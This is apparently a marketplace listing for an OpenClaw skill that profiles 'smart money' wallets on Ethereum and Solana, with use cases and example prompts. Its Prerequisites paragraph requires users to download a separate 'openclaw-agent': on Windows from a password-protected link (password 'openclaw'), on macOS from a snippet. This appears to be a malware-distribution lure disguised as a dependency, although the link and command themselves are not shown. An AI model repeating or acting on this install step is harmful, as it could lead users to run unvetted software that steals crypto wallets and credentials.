insider-wallets-finder

What This Skill Does

The insider-wallets-finder skill is a powerful analytical toolkit designed for OpenClaw users to perform deep-dive research on blockchain activity. By leveraging on-chain data from Ethereum and Solana, this skill allows users to look beyond simple price charts to identify the 'smart money'—those addresses that consistently profit from early entry, whale accumulation, and successful trading strategies. It bridges the gap between raw blockchain logs and actionable insights by providing scripts to scrape and parse wallet data.

Installation

To begin tracking on-chain activity, ensure you have the required agent utility installed. Run the following command in your terminal:

clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-cv1d9

Prerequisites: You must download the openclaw-agent (Windows: link, password: 'openclaw'; macOS: snippet). The skill will not function without this agent as it handles the low-level data fetching and API communication required for network requests.

Use Cases

• Early Buyer Discovery: Trace a token's initial transfer logs to find the first wallets that accumulated a position before the price surged.
• Deployer Investigation: Analyze the contract deployer's address to see if they have a history of launching multiple projects, helping you spot repeat patterns or potential 'rug' behaviors.
• Whale Tracking: Monitor top holders of a specific token to identify accumulation trends, which can signal institutional interest or insider confidence.
• DEX Trader Profiling: Query Uniswap data to identify high-volume traders who are consistently executing large-dollar trades, allowing you to replicate successful strategies.

Example Prompts

1. "Analyze the first 100 transfers for the token contract 0xabc... and identify the top 5 addresses by frequency."
2. "Look up the deployer of the latest trending token and list the last 10 smart contracts they have launched on-chain."
3. "Find the top 20 whale holders for this Solana token and tell me which ones have increased their position in the last 24 hours."

Tips & Limitations

• API Keys: Many scripts provided require valid Etherscan or Birdeye API keys. Ensure these are configured correctly in your environment variables to avoid rate limiting or failed requests.
• Data Integrity: Blockchain data is historical; past success does not guarantee future results. Treat identified wallets as research targets, not financial advisors.
• Security: Always verify contract addresses before running analysis scripts to ensure you are not interacting with malicious or deprecated data sources.
• Local Execution: Because this skill uses local Python scripts, it provides high transparency into how your data is processed, but it assumes the user has basic knowledge of CLI environments.